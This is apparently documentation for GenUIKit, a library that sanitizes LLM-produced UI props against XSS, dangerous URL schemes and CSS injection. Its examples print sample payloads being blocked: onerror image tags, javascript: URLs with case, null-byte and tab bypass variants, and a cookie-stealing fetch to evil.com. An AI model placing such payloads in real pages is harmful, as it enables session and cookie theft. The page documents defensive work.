Security
Every string produced by an LLM is untrusted input. GenUIKit sanitizes and validates all values at the schema level so malicious output never reaches your UI.
Why Security Matters
LLMs do not have intentions, but they can be manipulated. Prompt injection, jailbreaks, and even ordinary hallucinations can cause a model to emit HTML tags, dangerous URLs, or CSS injection payloads. If your app renders that output without sanitization, you have a live XSS vulnerability.
Attack surfaces in generative UI
- XSSAn LLM returns
<img src=x onerror=alert(1)>as a "title" field. Without stripping, the browser executes the script. - URL injectionA link field contains
javascript:alert(document.cookie). Clicking it runs arbitrary code in the user's session. - CSS injectionA className field contains
x; background: url(evil.com/steal). The browser fetches the URL, leaking context.
GenUIKit takes a defense-in-depth approach. Every safe schema builder strips, validates, and truncates in a single Zod transform-pipe chain. Even if one layer is bypassed, the next catches it. You never need to remember to call a sanitizer manually because the schemas do it for you.
Safe Schema Builders
GenUIKit exports four builder functions that return Zod schemas with built-in sanitization. Use them anywhere you define props that accept LLM-generated content.
| 1 | import { safeString, safeUrl, safeHtml, safeCssClass } from '@genuikit/core'; |
safeString(options?)
Strips all HTML tags, removes control characters (null bytes, etc.), and truncates to a maximum length. This is the default builder for any plain-text field.
Options
maxLength-- Maximum string length after sanitization. Default:10,000policy-- CustomSecurityPolicyConfigto override defaults.
| 1 | import { safeString } from '@genuikit/core'; |
| 2 | |
| 3 | const titleSchema = safeString({ maxLength: 200 }); |
| 4 | |
| 5 | // LLM returns a XSS payload as the title: |
| 6 | titleSchema.parse('<img src=x onerror=alert(1)>Hello'); |
| 7 | // => "Hello" (tags stripped, text preserved) |
| 8 | |
| 9 | titleSchema.parse('Normal title'); |
| 10 | // => "Normal title" (unchanged) |
| 11 | |
| 12 | titleSchema.parse('A'.repeat(500)); |
| 13 | // => "AAA...A" (truncated to 200 chars) |
safeUrl(options?)
Validates URLs against a scheme allowlist and blocklist. Blocks javascript:, data:, vbscript:, and blob: schemes by default. Normalizes the URL using the built-in URL constructor.
Options
allowedSchemes-- Override allowed schemes. Default:['https', 'http', 'mailto']policy-- CustomSecurityPolicyConfig.
| 1 | import { safeUrl } from '@genuikit/core'; |
| 2 | |
| 3 | const linkSchema = safeUrl(); |
| 4 | |
| 5 | linkSchema.parse('https://example.com/page'); |
| 6 | // => "https://example.com/page" (valid, normalized) |
| 7 | |
| 8 | linkSchema.parse('javascript:alert(1)'); |
| 9 | // => throws ZodError: URL scheme "javascript" is blocked |
| 10 | |
| 11 | // Case tricks don't work either: |
| 12 | linkSchema.parse('jAvAsCrIpT:alert(1)'); |
| 13 | // => throws ZodError: URL scheme "javascript" is blocked |
| 14 | |
| 15 | // Null-byte bypass attempt: |
| 16 | linkSchema.parse('java\x00script:alert(1)'); |
| 17 | // => throws ZodError: URL scheme "javascript" is blocked |
safeHtml(options?)
Strips all tags except an allowlist of safe formatting tags. All attributes are removed from allowed tags, preventing event handler injection like onload or onerror.
Options
allowedTags-- Tags to keep. Default:b, i, em, strong, u, br, p, ul, ol, li, h1-h6, code, pre, blockquote, span, div, a, table, thead, tbody, tr, th, tdmaxLength-- Maximum output length. Default:50,000policy-- CustomSecurityPolicyConfig.
| 1 | import { safeHtml } from '@genuikit/core'; |
| 2 | |
| 3 | const descriptionSchema = safeHtml(); |
| 4 | |
| 5 | descriptionSchema.parse('<b>Bold</b> and <script>alert(1)</script> text'); |
| 6 | // => "<b>Bold</b> and text" (script tag stripped) |
| 7 | |
| 8 | descriptionSchema.parse('<a href="x" onclick="steal()">Click</a>'); |
| 9 | // => "<a>Click</a>" (all attributes removed) |
| 10 | |
| 11 | descriptionSchema.parse('<img src=x onerror=alert(1)>'); |
| 12 | // => "" (img not in allowlist, stripped entirely) |
safeCssClass(options?)
Validates CSS class strings against a character pattern that allows standard classes, Tailwind utilities, CSS modules, and BEM notation. Blocks CSS injection patterns like expression(), url(), and behavior().
Options
maxLength-- Maximum class string length. Default:256policy-- CustomSecurityPolicyConfig.
| 1 | import { safeCssClass } from '@genuikit/core'; |
| 2 | |
| 3 | const classSchema = safeCssClass(); |
| 4 | |
| 5 | classSchema.parse('flex items-center gap-2 text-blue-500'); |
| 6 | // => "flex items-center gap-2 text-blue-500" (valid Tailwind) |
| 7 | |
| 8 | classSchema.parse('md:grid md:grid-cols-2 hover:bg-[#f0f0f0]'); |
| 9 | // => "md:grid md:grid-cols-2 hover:bg-[#f0f0f0]" (valid) |
| 10 | |
| 11 | classSchema.parse('x; expression(alert(1))'); |
| 12 | // => throws ZodError: CSS class contains forbidden pattern |
| 13 | |
| 14 | classSchema.parse('bg url(https://evil.com/steal)'); |
| 15 | // => throws ZodError: CSS class contains forbidden pattern |
Security Policy
All safe schema builders share a common configuration object. The default policy covers most use cases, but you can customize it using the immutable SecurityPolicy class and its .with() builder.
| 1 | import { DEFAULT_SECURITY_POLICY } from '@genuikit/core'; |
| 2 | |
| 3 | // The default configuration: |
| 4 | // { |
| 5 | // maxStringLength: 10_000, |
| 6 | // maxUrlLength: 2_083, |
| 7 | // maxCssClassLength: 256, |
| 8 | // maxHtmlLength: 50_000, |
| 9 | // allowedUrlSchemes: ['https', 'http', 'mailto'], |
| 10 | // blockedUrlSchemes: ['javascript', 'data', 'vbscript', 'blob'], |
| 11 | // allowedHtmlTags: ['b', 'i', 'em', 'strong', 'u', 'br', ...], |
| 12 | // stripHtml: true, |
| 13 | // cssClassPattern: /^[a-zA-Z0-9_\-\s:./[\]#%,!@]+$/, |
| 14 | // } |
Customizing with .with()
The .with() method returns a new SecurityPolicy instance with your overrides merged in. The original policy is never mutated.
| 1 | import { DEFAULT_SECURITY_POLICY, safeString, safeUrl } from '@genuikit/core'; |
| 2 | |
| 3 | // Create a strict policy for short-form content |
| 4 | const strictPolicy = DEFAULT_SECURITY_POLICY.with({ |
| 5 | maxStringLength: 1_000, |
| 6 | allowedUrlSchemes: ['https'], // HTTPS only, no http or mailto |
| 7 | }); |
| 8 | |
| 9 | // Pass the policy to any safe builder |
| 10 | const titleSchema = safeString({ |
| 11 | maxLength: 200, |
| 12 | policy: strictPolicy.config, |
| 13 | }); |
| 14 | |
| 15 | const linkSchema = safeUrl({ |
| 16 | policy: strictPolicy.config, |
| 17 | }); |
| 18 | |
| 19 | // http:// links are now rejected: |
| 20 | linkSchema.parse('http://example.com'); |
| 21 | // => throws ZodError: URL scheme "http" is not in the allowed list |
Configuration options
| Option | Default | Description |
|---|---|---|
maxStringLength | 10,000 | Max chars for safeString output |
maxUrlLength | 2,083 | Max URL length (matches IE limit) |
maxHtmlLength | 50,000 | Max chars for safeHtml output |
maxCssClassLength | 256 | Max CSS class string length |
allowedUrlSchemes | https, http, mailto | Schemes that pass URL validation |
blockedUrlSchemes | javascript, data, vbscript, blob | Schemes rejected before allowlist check |
allowedHtmlTags | b, i, em, strong, ... | Tags kept by safeHtml (attributes stripped) |
stripHtml | true | Whether safeString strips all HTML |
cssClassPattern | Regex | Allowed character pattern for CSS classes |
HTML Sanitization
Under the hood, the safe schema builders use a set of pure sanitization functions. These are also exported for direct use if you need lower-level control.
Why not regex?
A common approach is to strip HTML with a regex like /<[^>]*>/g. This is dangerous for two reasons: it is vulnerable to ReDoS (Regular Expression Denial of Service) attacks with crafted input like a long sequence of unclosed angle brackets, and it can be tricked by malformed HTML that real browsers still parse. GenUIKit uses an O(n) character-by-character state machine that is immune to both problems.
Exported functions
| 1 | import { |
| 2 | stripHtmlTags, |
| 3 | escapeHtml, |
| 4 | sanitizeString, |
| 5 | sanitizeHtml, |
| 6 | } from '@genuikit/core'; |
| 7 | |
| 8 | // stripHtmlTags — O(n) state-machine HTML tag removal |
| 9 | stripHtmlTags('<b>Hello</b> <script>alert(1)</script>World'); |
| 10 | // => "Hello World" |
| 11 | |
| 12 | // escapeHtml — convert special chars to HTML entities |
| 13 | escapeHtml('<img src="x">'); |
| 14 | // => "<img src="x">" |
| 15 | |
| 16 | // sanitizeString — full pipeline: control chars + strip HTML + truncate |
| 17 | sanitizeString('Hello\x00World<b>!</b>', DEFAULT_SECURITY_POLICY.config); |
| 18 | // => "HelloWorld!" |
| 19 | |
| 20 | // sanitizeHtml — keep only allowlisted tags, strip all attributes |
| 21 | sanitizeHtml( |
| 22 | '<b>bold</b><script>bad</script><a href="x" onclick="y">link</a>', |
| 23 | ['b', 'a'], // allowed tags |
| 24 | 50_000, // max length |
| 25 | ); |
| 26 | // => "<b>bold</b><a>link</a>" |
The state machine approach guarantees O(n) performance regardless of input. There is no backtracking, no catastrophic matching, and no way to trigger exponential processing time. This is critical for production systems where an attacker controls the input.
URL Validation
The validateUrl function implements a defense-in-depth pipeline that catches common bypass techniques used to sneak dangerous schemes past filters.
| 1 | import { validateUrl, DEFAULT_SECURITY_POLICY } from '@genuikit/core'; |
| 2 | |
| 3 | const policy = DEFAULT_SECURITY_POLICY.config; |
| 4 | |
| 5 | // Step 1: Remove control characters and trim whitespace |
| 6 | // Step 2: Check length against maxUrlLength (2,083) |
| 7 | // Step 3: Reject empty strings |
| 8 | // Step 4: Normalize and check scheme against blocklist |
| 9 | // Step 5: Parse with URL constructor, verify against allowlist |
| 10 | |
| 11 | // Standard valid URL |
| 12 | validateUrl('https://example.com', policy); |
| 13 | // => { valid: true, sanitized: "https://example.com/" } |
| 14 | |
| 15 | // Blocked scheme |
| 16 | validateUrl('javascript:alert(1)', policy); |
| 17 | // => { valid: false, violation: { message: 'URL scheme "javascript" is blocked' } } |
Bypass attempts that are caught
| 1 | // Case variation — normalized before checking |
| 2 | validateUrl('jAvAsCrIpT:alert(1)', policy); |
| 3 | // => blocked: scheme "javascript" is blocked |
| 4 | |
| 5 | // Null bytes — stripped before scheme extraction |
| 6 | validateUrl('java\x00script:alert(1)', policy); |
| 7 | // => blocked: scheme "javascript" is blocked |
| 8 | |
| 9 | // Tab/newline insertion — whitespace removed from scheme |
| 10 | validateUrl('java\tscript:alert(1)', policy); |
| 11 | // => blocked: scheme "javascript" is blocked |
| 12 | |
| 13 | // Data URIs — blocked by default |
| 14 | validateUrl('data:text/html,<script>alert(1)</script>', policy); |
| 15 | // => blocked: scheme "data" is blocked |
| 16 | |
| 17 | // VBScript (legacy IE attack vector) |
| 18 | validateUrl('vbscript:MsgBox("xss")', policy); |
| 19 | // => blocked: scheme "vbscript" is blocked |
| 20 | |
| 21 | // Relative URLs are allowed (no scheme to exploit) |
| 22 | validateUrl('/safe/path', policy); |
| 23 | // => { valid: true, sanitized: "/safe/path" } |
| 24 | |
| 25 | validateUrl('#anchor', policy); |
| 26 | // => { valid: true, sanitized: "#anchor" } |
Adapters Use Security Automatically
If you use any of the pre-built adapters (shadcn/ui, Tailwind, MUI), all component schemas already use the safe builders internally. You get XSS protection, URL validation, and CSS injection blocking with zero configuration.
| 1 | // Inside @genuikit/adapters — this is already done for you |
| 2 | import { safeString, safeUrl, safeCssClass } from '@genuikit/core'; |
| 3 | |
| 4 | // Every text prop uses safeString |
| 5 | const childrenSchema = safeString({ maxLength: 50_000 }); |
| 6 | |
| 7 | // Every URL prop uses safeUrl |
| 8 | const srcSchema = safeUrl(); |
| 9 | |
| 10 | // Every className prop uses safeCssClass |
| 11 | const classNameSchema = safeCssClass(); |
This means if an LLM produces a component call like:
| 1 | { |
| 2 | "type": "Button", |
| 3 | "props": { |
| 4 | "children": "<img src=x onerror=alert(document.cookie)>Click me", |
| 5 | "href": "javascript:fetch('https://evil.com?c='+document.cookie)", |
| 6 | "className": "btn; background: url(https://evil.com/exfil)" |
| 7 | } |
| 8 | } |
The adapter schemas will automatically:
- 1.Strip the
<img>tag from children, producing just "Click me" - 2.Reject the
javascript:URL with a validation error - 3.Reject the CSS class string that contains
url()
Building custom schemas?
If you write your own component schemas instead of using an adapter, use the safe builders for every string field that receives LLM output. A plain z.string() gives you no protection. Replace it with safeString(), safeUrl(), or safeCssClass() depending on the field type.